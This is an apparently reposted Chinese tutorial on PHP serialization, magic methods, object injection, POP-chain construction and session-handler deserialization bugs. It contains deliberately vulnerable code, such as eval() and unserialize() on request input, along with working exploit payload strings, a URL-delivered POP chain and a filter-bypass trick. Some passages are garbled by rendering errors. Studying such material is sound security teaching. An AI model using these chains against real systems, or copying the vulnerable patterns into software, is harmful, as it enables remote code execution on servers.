一.什么是序列化和反序列化
php类与对象
类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。
class people{ //定义类属性(类似变量),public 代表可见性(公有) public $name = 'joker'; //定义类方法(类似函数) public function smile(){ echo $this->name." is smile...\n"; }}$psycho = new people(); //根据people类实例化对象$psycho->smile();?>
上述代码定义了一个people类,并在在类中定义了一个public类型的变量 n a m e 和类方法 s m i l e 。然后实例化一个对象 name和类方法smile。然后实例化一个对象 name和类方法smile。然后实例化一个对象psycho,去调用people类里面的smile方法,打印出结果。
含义
php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
示例
class object{ public $team = 'joker'; private $team_name = 'hahaha'; protected $team_group = 'biubiu'; function hahaha(){ $this->$team_members = '奥力给'; }}$object = new object();echo serialize($object);?>
O 表示object,一个对象
6 表示对象名长度为6
object 对象名称
3 表示有3个属性
后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。
对象类型:对象长度:“对象名称”:类中变量的个数:{变量类型:长度:“名称”;类型:长度:“值”;…}
序列化
序列化格式中的字母含义:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
类方法并不会参与到实例化里面
需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。
使用public修饰进行序列化后,变量$team
的长度为4,正常输出。
使用private修饰进行序列化后,会在变量$team_name
前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
使用protected修饰进行序列化后,会在变量$team_group
前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:
1.受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]
其中,“\x00"代表ASCII为0的值,即空字节,” * " 必不可少。
反序列化
依次根据规则进行反向复原。
这边定义一个字符串,然后使用反序列化函数unserialize进行反序列化处理,最后使用var_dump进行输出:
$ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}'; $ser = unserialize($ser); var_dump($ser);?>
二.魔术方法
方法名 | 作用 |
---|---|
__construct | 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值 |
__destruct | 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用 |
__toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法 |
__wakeup() | 使用unserialize时触发,反序列化恢复对象之前调用该方法 |
__sleep() | 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化) |
__destruct() | 对象被销毁时触发 |
__call() | 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性) |
__set() | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 |
__isset() | 当对不可访问属性调用isset()或empty()时触发 |
__unset() | 当对不可访问属性调用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
__tostring的具体触发场景:
(1) echo( o b j ) / p r i n t ( obj) / print( obj)/print(obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型) (5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候
三.php反序列化漏洞(对象注入)
在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
挖掘反序列化漏洞的条件是:
1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
2. unserialize()函数的参数可控。
php对象注入示例一:
class A{ var $test = "demo"; function __destruct(){ @eval($this->test); }}$test = $_POST['test'];$len = strlen($test)+1;$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象$test_unser = unserialize($p); // 反序列化同时触发_destruct函数?>
最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到unserialize()反序列化的时候,会触发__destruct()方法,同时也可以触发__wakeup()方法。但是如果想注入恶意payload,还需要对$test
的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test
变量进行覆盖。
首先这里要传入$test
,而test就是phpinfo();$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
这里重新定义了A,把test变成了我们传递的值,这句话的功能就相当于var $test = "$_POST=['test']";
,而在php中这句话就把前面的var $test = "demo";
覆盖掉了,从而执行了__destruct()这个析构函数,eval也就执行了我们提交的phpinfo
php对象注入示例二:
class test{ var $test = '123'; function __wakeup(){ $fp = fopen("flag.php","w"); fwrite($fp,$this->test); fclose($fp); }}$a = $_GET['id'];print_r($a);echo "";$a_unser = unserialize($a);require "flag.php";?>
这里主要通过调用魔术方法__wakeup将KaTeX parse error: Expected group after '_' at position 47: …ize()反序列化操作时会触发_̲_wakeup魔术方法,接下来…test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。
php反序列化利用—POP链构造
上面的例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。
POP链简介
1.POP 面向属性编程(Property-Oriented Programing)
常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。
2. POP CHAIN
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
POP链利用技巧
1 一些有用的POP链中出现的方法:
命令执行:exec()、passthru()、popen()、system()
文件操作:file_put_contents()、file_get_contents()、unlink()
代码执行:eval()、assert()、call_user_func()
2. 反序列化中为了避免信息丢失,使用大写S支持字符串的编码。
PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:s:4:"user"; -> S:4:"use\72";
3. 深浅copy
在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。 $A = &$B;
4. 利用PHP伪协议
配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
POP链构造案例
class main { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); }}class normal { function action() { echo "hello bmjoker"; }}class evil { private $data; function action() { eval($this->data); }}//$a = new main();unserialize($_GET['a']);?>
如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法__construct()是调用normal类,__destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量KaTeX parse error: Expected group after '_' at position 41: …去构造POP利用链,让魔术方法_̲_construct()去调用…data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行
`。尝试构造payload:
class main { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); }}class evil { private $data = "phpinfo();";}$a = new main();echo serialize($a);?>
编写我们想要执行的效果,然后进行序列化。
但是由于$ClassObj是protected
类型修饰,$data是private类型修饰,在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。运行得到O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}
这里报错是因为这个的空字符串被当作空格变成%20,而空格在ASCII码中为32,所以要把%20改为%00127.0.0.1/1/1.php?a=O:4:"main":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";s:10:"phpinfo();";}}
PHP Session反序列化
session请求过程
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
session_start的作用
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
Session存储机制
PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。
PHP Session在php.ini中主要存在以下配置项:
Directive* | 含义 |
---|---|
session.save_handler | 设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files |
session.save_path | 设置session的存储路径,默认在/tmp |
session.serialize_handler | 定义用来序列化/反序列化的处理器名字。默认使用php。 |
session.auto_start | 指定会话模块是否在请求开始时启动一个会话,默认为0不启动 |
session.upload_progress.enabed | 将上传文件的进度信息存储在session中。默认开启 |
session.upload_progress.cleanup | 一旦读取了所有的POST数据,立即清除进度信息。默认开启 |
注意:这里修改session.save.path在php.ini中修改,三个都要改而且要去掉前面的冒号,重启才可以生效
在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同
存储引擎 | 存储方式 |
---|---|
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 |
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
Session反序列化漏洞
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION
数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。
存在对$_SESSION变量赋值
php引擎存储Session的格式为
php | 键名 + 竖线 + 经过 serialize() 函数序列处理的值 |
---|---|
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储
session 1:
error_reporting(0);ini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['username'] = $_GET['user'];echo ""
;var_dump($_SESSION);echo "
";?> 接下来使用php引擎来读取Session文件
session 2:
error_reporting(0);ini_set('session.serialize_handler','php');session_start();class user{ var $name; var $age; function __wakeup(){ echo "hello ".$this->name." !" }}?>
漏洞的主要原因在于不同的引擎对于竖杠’ | ‘的解析产生歧义。
对于php_serialize引擎来说’ | ‘可能只是一个正常的字符;但对于php引擎来说’ | ‘就是分隔符,前面是$_SESSION['username']
的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对’ | ‘后的值进行反序列化处理。
可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对’ | '后面的内容进行反序列化呢?也没看到反序列化unserialize函数。
这是因为使用了session_start()这个函数 ,PHP会自动反序列化数据并填充$_session
超级全局变量。PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。
构造payload:
class user{ var $name; var $age; } $a = new user(); $a->name = "bmjoker"; $a->age = "888"; echo serialize($a);?>
运行得到O:4:"user":2:{s:4:"name";s:7:"bmjoker";s:3:"age";s:3:"888";}
,生成的payload如果想利用php引擎读取Session文件时对’ | ‘解析产生的反序列化漏洞,需要在payload前加个’ | ',这个时候经过php_serialize引擎存储就会变成:
当使用php引擎的时候,php引擎会以|作为key和value的分隔符;左边部分是session的key,右边部分为session的vale
直接运行session 2
来源地址:https://blog.csdn.net/qq_31088019/article/details/126519989